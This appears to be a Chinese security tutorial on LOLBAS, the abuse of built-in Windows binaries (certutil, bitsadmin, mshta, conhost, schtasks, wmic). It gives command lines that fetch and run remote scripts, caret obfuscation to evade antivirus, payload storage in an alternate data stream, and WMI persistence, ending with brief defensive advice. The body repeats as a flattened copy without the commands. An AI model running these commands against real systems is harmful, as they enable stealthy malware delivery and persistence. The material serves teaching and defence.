Windows 隐蔽执行技巧之 LOLBAS
字数 2286 2025-10-26 18:21:34

Windows 隐蔽执行技巧之 LOLBAS 技术详解

1. LOLBAS 介绍

LOLBAS(Living Off the Land Binaries and Scripts)指的是滥用 Windows 操作系统中预装、原生且带有合法数字签名的二进制文件和脚本(如 Certutil.exe、Mshta.exe、Rundll32.exe)来执行恶意操作的技术。由于这些工具本身是系统的一部分,它们的操作往往被传统的应用白名单(AWL)和基于签名的安全产品所信任,从而实现了极高的隐蔽性。

2. LOLBAS 分类:下载与文件传输(Ingress Tool Transfer)

2.1 Certutil.exe(证书工具)

工具特性:

  • 用于处理证书的 Windows 二进制文件(支持ADS)
  • 支持系统:Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11

基本利用方法:

certutil.exe -urlcache -f http://192.168.176.130/load_bin.ps1 load_bin.ps1
  • urlcache:参数用于管理URL缓存
  • -f:参数后面跟着要下载文件的URL
  • 有AV情况下会触发敏感动作告警

替代方法:

certutil.exe -verifyctl -f http://192.168.176.130/load_bin.ps1 load_bin.ps1
  • verifyctl:验证 AuthRoot 或不允许的证书 CTL

GUI专用方法:

certutil.exe -URL http://192.168.176.130/load_bin.ps1
  • 只支持GUI的Windows 10、Windows 11
  • 不会触发AV(仅限于特定环境)

文件保存位置:
未指定文件路径时,下载的可执行文件将保存到:
%LOCALAPPDATA%lowMicrosoftCryptnetUrlCacheContent[hash]
其中HASH是下载URL的MD5值

实战绕过技巧(有AV环境):

  1. 插入符号混淆:
c^e^r^t^u^t^i^l^.e^x^e -f -u^r^l^c^a^c^h^e -s^p^l^i^t http://192.168.176.130/load_bin.ps1 load_bin.ps1
  1. 下载至ADS(备用数据流):
c^e^r^t^u^t^i^l^.e^x^e -f -u^r^l^c^a^c^h^e -s^p^l^i^t http://192.168.176.130/load_bin.ps1 C:\Windows\win.ini:load
  1. 执行ADS内容:
powershell -NoP -Exec Bypass -C "IEX (Get-Content C:\Windows\win.ini:load -Raw)"

2.2 Bitsadmin.exe(后台智能传输服务)

工具特性:

  • 用于创建和管理 BITS 任务,实现网络状态不佳时的文件后台传输(支持ADS)
  • 支持系统:Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11

执行流程:

bitsadmin /create 1
bitsadmin /addfile 1 http://... C:..load_bin.ps1
bitsadmin /resume 1
bitsadmin /complete 1

调用链分析:

  1. 任务创建:父进程 cmd.exe 依次创建多个 bitsadmin 进程
  2. 任务触发:svchost.exe(BITS服务)创建子进程启动隐藏在备用数据流中的程序
  3. 系统重定向:sihost.exe 将其重定向到目标应用
  4. 以上操作均不会触发敏感动作告警

3. LOLBAS 分类:代理执行(Proxy Execution)

3.1 Mshta.exe(HTML应用程序)

工具特性:

  • Windows 用它来执行 html 应用程序(.hta)
  • 支持系统:Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11

利用方法:

  1. 执行HTA内嵌的VBScript代码
  2. 搭配PowerShell实现无文件落地(需对命令进行变形以避免告警)

调用链分析:

  1. 初始代理:cmd.exe → mshta.exe(作为执行代理)
  2. 引擎启动:mshta.exe解析VBScript后静默启动PowerShell引擎
  3. 动态编译:PowerShell调用.NET框架的C#编译器csc.exe实现在野编译
  4. 资源处理:csc.exe启动资源处理工具cvtres.exe

3.2 Conhost.exe(控制台窗口主机)

工具特性:

  • 命令行程序的宿主进程
  • 支持系统:Windows 10、Windows 11

基本利用:

conhost.exe --headless cmd /c calc.exe
  • 使用--headless参数隐藏黑框

无文件落地技巧:

conhost.exe --headless powershell -NoP -Exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://...')"

改进方案(避免黑窗口):

  1. 通过WMI操作:利用WmiPrvSE.exe(无UI界面)
  2. 进程注入:PowerShell加载器增加进程注入后销毁自身

4. LOLBAS 分类:持久化操作(Persistence operations)

4.1 Schtasks.exe(计划任务命令)

工具特性:

  • 命令行工具用于创建、删除、查询和管理本地或远程计算机的计划任务
  • 支持系统:Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11

利用示例:

schtasks /create /tn "UpdateTask" /tr "C:\Windows\System32\calc.exe" /sc minute /mo 1
  • 每天每隔1分钟触发1次程序
  • 不指定时间则按创建时间触发

4.2 Wmic.exe(Windows管理规范命令行)

重要说明:

  • 微软2016年逐步弃用此工具,后续Windows只能通过可选功能安装
  • 提倡使用PowerShell替代

基本利用:

  1. 本地执行命令:
wmic process call create "calc.exe"
  1. 远程执行命令:
wmic /node:192.168.1.100 process call create "calc.exe"

持久化操作实现:

  1. 创建事件过滤器(定义触发条件):
wmic /namespace:\\root\subscription path __EventFilter create Name="TestFilter", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
  1. 创建事件消费者(定义执行动作):
wmic /namespace:\\root\subscription path CommandLineEventConsumer create Name="TestConsumer", ExecutablePath="C:\Windows\System32\calc.exe", CommandLineTemplate="calc.exe"
  1. 创建绑定关系:
wmic /namespace:\\root\subscription path __FilterToConsumerBinding create Filter='__EventFilter.Name="TestFilter"', Consumer='CommandLineEventConsumer.Name="TestConsumer"'

查询方法:

wmic /namespace:\\root\subscription path __EventFilter get Name
wmic /namespace:\\root\subscription path CommandLineEventConsumer get Name
wmic /namespace:\\root\subscription path __FilterToConsumerBinding get Filter,Consumer

技术特点:

  • 事件创建后每分钟触发1次计算器
  • wmiprvse.exe运行在隔离的非交互式桌面,计算器不会显示界面
  • 通过ProcessMonitor可观察到任务正常触发
  • 无安全告警产生

5. 防御建议

  1. 应用白名单增强:不仅检查程序路径,还要监控命令行参数
  2. 行为监控:关注异常进程创建链和网络连接模式
  3. 日志分析:加强Windows安全日志和Sysmon日志分析
  4. 权限控制:遵循最小权限原则,限制不必要的系统工具执行权限
  5. 安全意识:培训相关人员识别异常系统行为模式

总结

LOLBAS技术利用Windows原生工具的特性,实现了高隐蔽性的攻击操作。防御方需要从多个层面建立纵深防御体系,结合行为分析、日志监控和权限控制等手段,才能有效应对这类攻击技术。

Windows 隐蔽执行技巧之 LOLBAS 技术详解 1. LOLBAS 介绍 LOLBAS(Living Off the Land Binaries and Scripts)指的是滥用 Windows 操作系统中预装、原生且带有合法数字签名的二进制文件和脚本(如 Certutil.exe、Mshta.exe、Rundll32.exe)来执行恶意操作的技术。由于这些工具本身是系统的一部分,它们的操作往往被传统的应用白名单(AWL)和基于签名的安全产品所信任,从而实现了极高的隐蔽性。 2. LOLBAS 分类:下载与文件传输(Ingress Tool Transfer) 2.1 Certutil.exe(证书工具) 工具特性: 用于处理证书的 Windows 二进制文件(支持ADS) 支持系统:Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11 基本利用方法: urlcache :参数用于管理URL缓存 -f :参数后面跟着要下载文件的URL 有AV情况下会触发敏感动作告警 替代方法: verifyctl :验证 AuthRoot 或不允许的证书 CTL GUI专用方法: 只支持GUI的Windows 10、Windows 11 不会触发AV(仅限于特定环境) 文件保存位置: 未指定文件路径时,下载的可执行文件将保存到: %LOCALAPPDATA%lowMicrosoftCryptnetUrlCacheContent[hash] 其中HASH是下载URL的MD5值 实战绕过技巧(有AV环境): 插入符号混淆: 下载至ADS(备用数据流): 执行ADS内容: 2.2 Bitsadmin.exe(后台智能传输服务) 工具特性: 用于创建和管理 BITS 任务,实现网络状态不佳时的文件后台传输(支持ADS) 支持系统:Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11 执行流程: 调用链分析: 任务创建 :父进程 cmd.exe 依次创建多个 bitsadmin 进程 任务触发 :svchost.exe(BITS服务)创建子进程启动隐藏在备用数据流中的程序 系统重定向 :sihost.exe 将其重定向到目标应用 以上操作均不会触发敏感动作告警 3. LOLBAS 分类:代理执行(Proxy Execution) 3.1 Mshta.exe(HTML应用程序) 工具特性: Windows 用它来执行 html 应用程序(.hta) 支持系统:Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11 利用方法: 执行HTA内嵌的VBScript代码 搭配PowerShell实现无文件落地 (需对命令进行变形以避免告警) 调用链分析: 初始代理 :cmd.exe → mshta.exe(作为执行代理) 引擎启动 :mshta.exe解析VBScript后静默启动PowerShell引擎 动态编译 :PowerShell调用.NET框架的C#编译器csc.exe实现在野编译 资源处理 :csc.exe启动资源处理工具cvtres.exe 3.2 Conhost.exe(控制台窗口主机) 工具特性: 命令行程序的宿主进程 支持系统:Windows 10、Windows 11 基本利用: 使用 --headless 参数隐藏黑框 无文件落地技巧: 改进方案(避免黑窗口): 通过WMI操作 :利用WmiPrvSE.exe(无UI界面) 进程注入 :PowerShell加载器增加进程注入后销毁自身 4. LOLBAS 分类:持久化操作(Persistence operations) 4.1 Schtasks.exe(计划任务命令) 工具特性: 命令行工具用于创建、删除、查询和管理本地或远程计算机的计划任务 支持系统:Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11 利用示例: 每天每隔1分钟触发1次程序 不指定时间则按创建时间触发 4.2 Wmic.exe(Windows管理规范命令行) 重要说明: 微软2016年逐步弃用此工具,后续Windows只能通过可选功能安装 提倡使用PowerShell替代 基本利用: 本地执行命令: 远程执行命令: 持久化操作实现: 创建事件过滤器(定义触发条件): 创建事件消费者(定义执行动作): 创建绑定关系: 查询方法: 技术特点: 事件创建后每分钟触发1次计算器 wmiprvse.exe运行在隔离的非交互式桌面,计算器不会显示界面 通过ProcessMonitor可观察到任务正常触发 无安全告警产生 5. 防御建议 应用白名单增强 :不仅检查程序路径,还要监控命令行参数 行为监控 :关注异常进程创建链和网络连接模式 日志分析 :加强Windows安全日志和Sysmon日志分析 权限控制 :遵循最小权限原则,限制不必要的系统工具执行权限 安全意识 :培训相关人员识别异常系统行为模式 总结 LOLBAS技术利用Windows原生工具的特性,实现了高隐蔽性的攻击操作。防御方需要从多个层面建立纵深防御体系,结合行为分析、日志监控和权限控制等手段,才能有效应对这类攻击技术。